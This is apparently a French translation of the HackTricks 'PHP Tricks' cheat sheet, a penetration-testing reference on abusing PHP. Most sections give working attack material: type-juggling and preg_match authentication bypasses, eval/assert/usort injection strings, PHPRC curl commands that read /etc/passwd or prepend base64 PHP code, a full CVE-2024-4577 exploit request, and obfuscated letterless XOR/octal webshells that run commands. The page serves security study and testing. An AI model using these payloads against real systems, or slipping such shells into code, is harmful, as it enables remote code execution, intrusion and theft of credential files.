PHP Tricks

Reading time: 19 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Emplacement commun des cookies :

Ceci est également valable pour les cookies de phpMyAdmin.

Cookies :

PHPSESSID
phpMyAdmin

Emplacements :

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

Contournement des comparaisons PHP

Comparaisons lâches/Type Juggling ( == )

Si == est utilisé en PHP, il existe des cas inattendus où la comparaison ne se comporte pas comme prévu. Cela est dû au fait que "==" ne compare que les valeurs transformées au même type, si vous souhaitez également comparer que le type des données comparées est le même, vous devez utiliser ===.

Tables de comparaison PHP : https://www.php.net/manual/en/types.comparisons.php

  • "string" == 0 -> True Une chaîne qui ne commence pas par un nombre est égale à un nombre
  • "0xAAAA" == "43690" -> True Les chaînes composées de nombres en format décimal ou hexadécimal peuvent être comparées à d'autres nombres/chaînes avec un résultat True si les nombres étaient les mêmes (les nombres dans une chaîne sont interprétés comme des nombres)
  • "0e3264578" == 0 --> True Une chaîne commençant par "0e" et suivie de n'importe quoi sera égale à 0
  • "0X3264578" == 0X --> True Une chaîne commençant par "0" et suivie de n'importe quelle lettre (X peut être n'importe quelle lettre) et suivie de n'importe quoi sera égale à 0
  • "0e12334" == "0" --> True C'est très intéressant car dans certains cas, vous pouvez contrôler l'entrée de la chaîne de "0" et certains contenus qui sont hachés et comparés à cela. Par conséquent, si vous pouvez fournir une valeur qui créera un hachage commençant par "0e" et sans aucune lettre, vous pourriez contourner la comparaison. Vous pouvez trouver des chaînes déjà hachées avec ce format ici : https://github.com/spaze/hashes
  • "X" == 0 --> True N'importe quelle lettre dans une chaîne est égale à int 0

Plus d'infos sur https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

in_array()

Type Juggling affecte également la fonction in_array() par défaut (vous devez définir le troisième argument sur true pour effectuer une comparaison stricte) :

php
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

Si cette fonction est utilisée pour tout contrôle d'authentification (comme vérifier le mot de passe) et que l'utilisateur contrôle un côté de la comparaison, il peut envoyer un tableau vide au lieu d'une chaîne comme valeur du mot de passe (https://example.com/login.php/?username=admin&password[]=) et contourner ce contrôle :

php
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

L'erreur se produit également avec strcasecmp()

Conversion stricte de types

Même si === est utilisé, il pourrait y avoir des erreurs qui rendent la comparaison vulnérable à la conversion de types. Par exemple, si la comparaison convertit les données en un type d'objet différent avant de comparer :

php
(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

preg_match() peut être utilisé pour valider l'entrée utilisateur (il vérifie si un mot/regex de la liste noire est présent dans l'entrée utilisateur et si ce n'est pas le cas, le code peut continuer son exécution).

Contournement de nouvelle ligne

Cependant, lors de la délimitation du début de la regexp, preg_match() vérifie uniquement la première ligne de l'entrée utilisateur, donc si d'une manière ou d'une autre vous pouvez envoyer l'entrée en plusieurs lignes, vous pourriez être en mesure de contourner cette vérification. Exemple :

php
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

Pour contourner cette vérification, vous pourriez envoyer la valeur avec des nouvelles lignes urlencodées (%0A) ou si vous pouvez envoyer des données JSON, envoyez-les en plusieurs lignes :

php
{
"cmd": "cat /etc/passwd"
}

Trouvez un exemple ici : https://ramadistra.dev/fbctf-2019-rceservice

Bypass d'erreur de longueur

(Ce contournement a apparemment été essayé sur PHP 5.2.5 et je n'ai pas pu le faire fonctionner sur PHP 7.3.15)
Si vous pouvez envoyer à preg_match() une entrée très grande valide, il ne pourra pas la traiter et vous pourrez contourner la vérification. Par exemple, s'il met sur liste noire un JSON, vous pourriez envoyer :

bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'

From: https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0

Contournement ReDoS

Astuce provenant de : https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 et https://mizu.re/post/pong

En résumé, le problème se produit parce que les fonctions preg_* en PHP reposent sur la bibliothèque PCRE. Dans PCRE, certaines expressions régulières sont appariées en utilisant de nombreux appels récursifs, ce qui utilise beaucoup d'espace de pile. Il est possible de définir une limite sur le nombre de récursions autorisées, mais en PHP, cette limite par défaut à 100.000 ce qui est plus que ce qui peut tenir dans la pile.

Ce fil de discussion Stackoverflow a également été lié dans le post où il est question plus en profondeur de ce problème. Notre tâche était maintenant claire :
Envoyer une entrée qui ferait que la regex effectue 100_000+ récursions, provoquant un SIGSEGV, faisant que la fonction preg_match() retourne false, faisant ainsi croire à l'application que notre entrée n'est pas malveillante, lançant la surprise à la fin de la charge utile quelque chose comme {system(<verybadcommand>)} pour obtenir SSTI --> RCE --> flag :).

Eh bien, en termes de regex, nous ne faisons pas réellement 100k "récursions", mais nous comptons plutôt les "étapes de retour en arrière", qui, comme le stipule la documentation PHP, par défaut à 1_000_000 (1M) dans la variable pcre.backtrack_limit.\ Pour atteindre cela, 'X'*500_001 donnera lieu à 1 million d'étapes de retour en arrière (500k en avant et 500k en arrière) :

python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

Type Juggling pour l'obfuscation PHP

php
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

Exécution après redirection (EAR)

Si PHP redirige vers une autre page mais qu'aucune fonction die ou exit n'est appelée après que l'en-tête Location soit défini, PHP continue d'exécuter et d'ajouter des données au corps :

php
<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

Path Traversal and File Inclusion Exploitation

Check:

File Inclusion/Path traversal

More tricks

  • register_globals: Dans PHP < 4.1.1.1 ou si mal configuré, register_globals peut être actif (ou son comportement est imité). Cela implique que dans des variables globales comme $_GET si elles ont une valeur par exemple $_GET["param"]="1234", vous pouvez y accéder via **$param. Par conséquent, en envoyant des paramètres HTTP, vous pouvez écraser des variables** qui sont utilisées dans le code.
  • Les cookies PHPSESSION du même domaine sont stockés au même endroit, donc si dans un domaine différents cookies sont utilisés dans différents chemins vous pouvez faire en sorte qu'un chemin accède au cookie de l'autre chemin en définissant la valeur de l'autre cookie de chemin.
    De cette façon, si les deux chemins accèdent à une variable avec le même nom vous pouvez faire en sorte que la valeur de cette variable dans path1 s'applique à path2. Et ensuite path2 considérera comme valides les variables de path1 (en donnant au cookie le nom qui lui correspond dans path2).
  • Lorsque vous avez les noms d'utilisateur des utilisateurs de la machine. Vérifiez l'adresse : /~<USERNAME> pour voir si les répertoires php sont activés.
  • Si une configuration php a register_argc_argv = On alors les paramètres de requête séparés par des espaces sont utilisés pour peupler le tableau des arguments array_keys($_SERVER['argv']) comme s'ils étaient des arguments de la CLI. C'est intéressant car si ce paramètre est désactivé, la valeur du tableau args sera Null lorsqu'il est appelé depuis le web car le tableau ars ne sera pas peuplé. Par conséquent, si une page web essaie de vérifier si elle s'exécute en tant qu'outil web ou en tant qu'outil CLI avec une comparaison comme if (empty($_SERVER['argv'])) { un attaquant pourrait envoyer des paramètres dans la requête GET comme ?--configPath=/lalala et cela pensera qu'il s'exécute en tant que CLI et pourrait potentiellement analyser et utiliser ces arguments. Plus d'infos dans le original writeup.
  • LFI and RCE using php wrappers

password_hash/password_verify

Ces fonctions sont généralement utilisées en PHP pour générer des hachages à partir de mots de passe et pour vérifier si un mot de passe est correct par rapport à un hachage.
Les algorithmes pris en charge sont : PASSWORD_DEFAULT et PASSWORD_BCRYPT (commence par $2y$). Notez que PASSWORD_DEFAULT est souvent le même que PASSWORD_BCRYPT. Et actuellement, PASSWORD_BCRYPT a une limitation de taille dans l'entrée de 72 octets. Par conséquent, lorsque vous essayez de hacher quelque chose de plus grand que 72 octets avec cet algorithme, seuls les premiers 72B seront utilisés :

php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

HTTP headers bypass abusing PHP errors

Causing error after setting headers

From this twitter thread vous pouvez voir qu'en envoyant plus de 1000 paramètres GET ou 1000 paramètres POST ou 20 fichiers, PHP ne va pas définir les en-têtes dans la réponse.

Permettant de contourner par exemple les en-têtes CSP définis dans des codes comme :

php
<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];

Remplir un corps avant de définir les en-têtes

Si une page PHP imprime des erreurs et renvoie certaines entrées fournies par l'utilisateur, l'utilisateur peut faire en sorte que le serveur PHP imprime un contenu suffisamment long pour que, lorsqu'il essaie d'ajouter les en-têtes à la réponse, le serveur génère une erreur.
Dans le scénario suivant, l'attaquant a fait en sorte que le serveur génère de grosses erreurs, et comme vous pouvez le voir à l'écran, lorsque PHP a essayé de modifier les informations d'en-tête, il n'a pas pu (donc par exemple, l'en-tête CSP n'a pas été envoyé à l'utilisateur) :

SSRF dans les fonctions PHP

Vérifiez la page :

PHP SSRF

Exécution de code

system("ls");
`ls`;
shell_exec("ls");

Consultez ceci pour d'autres fonctions PHP utiles

RCE via preg_replace()

php
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

Pour exécuter le code dans l'argument "replace", au moins une correspondance est nécessaire.
Cette option de preg_replace a été dépréciée depuis PHP 5.5.0.

RCE via Eval()

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

RCE via Assert()

Cette fonction dans php vous permet d'exécuter du code écrit dans une chaîne afin de retourner vrai ou faux (et en fonction de cela, modifier l'exécution). En général, la variable utilisateur sera insérée au milieu d'une chaîne. Par exemple :
assert("strpos($_GET['page']),'..') === false") --> Dans ce cas, pour obtenir RCE, vous pourriez faire :

?page=a','NeVeR') === false and system('ls') and strpos('a

Vous devrez casser la syntaxe du code, ajouter votre payload, puis le réparer à nouveau. Vous pouvez utiliser des opérations logiques telles que "and" ou "%26%26" ou "|". Notez que "or", "||" ne fonctionne pas car si la première condition est vraie, notre payload ne sera pas exécuté. De la même manière, ";" ne fonctionne pas car notre payload ne sera pas exécuté.

Une autre option est d'ajouter à la chaîne l'exécution de la commande : '.highlight_file('.passwd').'

Une autre option (si vous avez le code interne) est de modifier une variable pour altérer l'exécution : $file = "hola"

RCE via usort()

Cette fonction est utilisée pour trier un tableau d'éléments en utilisant une fonction spécifique.
Pour abuser de cette fonction :

php
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
php
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

Vous pouvez également utiliser // pour commenter le reste du code.

Pour découvrir le nombre de parenthèses que vous devez fermer :

  • ?order=id;}// : nous obtenons un message d'erreur (Parse error: syntax error, unexpected ';'). Il nous manque probablement une ou plusieurs parenthèses.
  • ?order=id);}// : nous obtenons un avertissement. Cela semble correct.
  • ?order=id));}// : nous obtenons un message d'erreur (Parse error: syntax error, unexpected ')' i). Nous avons probablement trop de parenthèses fermantes.

RCE via .httaccess

Si vous pouvez télécharger un .htaccess, alors vous pouvez configurer plusieurs choses et même exécuter du code (en configurant que les fichiers avec l'extension .htaccess peuvent être exécutés).

Différentes shells .htaccess peuvent être trouvées ici

RCE via Env Variables

Si vous trouvez une vulnérabilité qui vous permet de modifier les variables d'environnement en PHP (et une autre pour télécharger des fichiers, bien que cela puisse être contourné avec plus de recherche), vous pourriez abuser de ce comportement pour obtenir RCE.

  • LD_PRELOAD : Cette variable d'environnement vous permet de charger des bibliothèques arbitraires lors de l'exécution d'autres binaires (bien que dans ce cas, cela pourrait ne pas fonctionner).
  • PHPRC : Indique à PHP où localiser son fichier de configuration, généralement appelé php.ini. Si vous pouvez télécharger votre propre fichier de configuration, alors, utilisez PHPRC pour pointer PHP vers celui-ci. Ajoutez une entrée auto_prepend_file spécifiant un deuxième fichier téléchargé. Ce deuxième fichier contient du code PHP normal, qui est ensuite exécuté par le runtime PHP avant tout autre code.
  1. Téléchargez un fichier PHP contenant notre shellcode
  2. Téléchargez un deuxième fichier, contenant une directive auto_prepend_file instruisant le préprocesseur PHP d'exécuter le fichier que nous avons téléchargé à l'étape 1
  3. Définissez la variable PHPRC sur le fichier que nous avons téléchargé à l'étape 2.
  • Obtenez plus d'infos sur la façon d'exécuter cette chaîne à partir du rapport original.
  • PHPRC - une autre option
  • Si vous ne pouvez pas télécharger de fichiers, vous pourriez utiliser dans FreeBSD le "fichier" /dev/fd/0 qui contient le stdin, étant le corps de la requête envoyée au stdin :
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
  • Ou pour obtenir RCE, activez allow_url_include et préfixez un fichier avec du code PHP en base64 :
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
  • Technique de ce rapport.

XAMPP CGI RCE - CVE-2024-4577

Le serveur web analyse les requêtes HTTP et les transmet à un script PHP exécutant une requête telle que http://host/cgi.php?foo=bar en tant que php.exe cgi.php foo=bar, ce qui permet une injection de paramètres. Cela permettrait d'injecter les paramètres suivants pour charger le code PHP depuis le corps :

jsx
-d allow_url_include=1 -d auto_prepend_file=php://input

De plus, il est possible d'injecter le paramètre "-" en utilisant le caractère 0xAD en raison de la normalisation ultérieure de PHP. Vérifiez l'exemple d'exploitation de cet article:

jsx
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

<?php
phpinfo();
?>

Contournement de la sanitation PHP & Brain Fuck

Dans cet article il est possible de trouver d'excellentes idées pour générer un code PHP brain fuck avec très peu de caractères autorisés.
De plus, une manière intéressante d'exécuter des fonctions qui leur a permis de contourner plusieurs vérifications est également proposée :

php
(1)->{system($_GET[chr(97)])}

Analyse statique de PHP

Regardez si vous pouvez insérer du code dans les appels à ces fonctions (de ici):

php
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

Si vous déboguez une application PHP, vous pouvez activer globalement l'impression des erreurs dans /etc/php5/apache2/php.ini en ajoutant display_errors = On et redémarrer apache : sudo systemctl restart apache2

Déobfuscation de code PHP

Vous pouvez utiliser le web www.unphp.net pour déobfusquer du code php.

Wrappers et Protocoles PHP

Les wrappers et protocoles PHP pourraient vous permettre de contourner les protections d'écriture et de lecture dans un système et de le compromettre. Pour plus d'informations, consultez cette page.

RCE non authentifié avec Xdebug

Si vous voyez que Xdebug est activé dans une sortie phpconfig(), vous devriez essayer d'obtenir RCE via https://github.com/nqxcode/xdebug-exploit

Variables variables

php
$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

RCE abusant de $_GET["a"]($_GET["b"])

Si sur une page vous pouvez créer un nouvel objet d'une classe arbitraire, vous pourriez être en mesure d'obtenir RCE, consultez la page suivante pour apprendre comment :

PHP - RCE abusing object creation: new $_GET"a"

Exécuter PHP sans lettres

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

Utilisation de l'octal

php
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

php
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

XOR easy shell code

Selon cet article il est possible de générer un shellcode facile de cette manière :

php
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

Donc, si vous pouvez exécuter du PHP arbitraire sans chiffres ni lettres, vous pouvez envoyer une requête comme celle-ci en abusant de cette charge utile pour exécuter du PHP arbitraire :

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

Pour une explication plus approfondie, consultez https://ctf-wiki.org/web/php/php/#preg_match

Shellcode XOR (à l'intérieur de eval)

bash
#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
php
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
php
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

Comme Perl

php
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks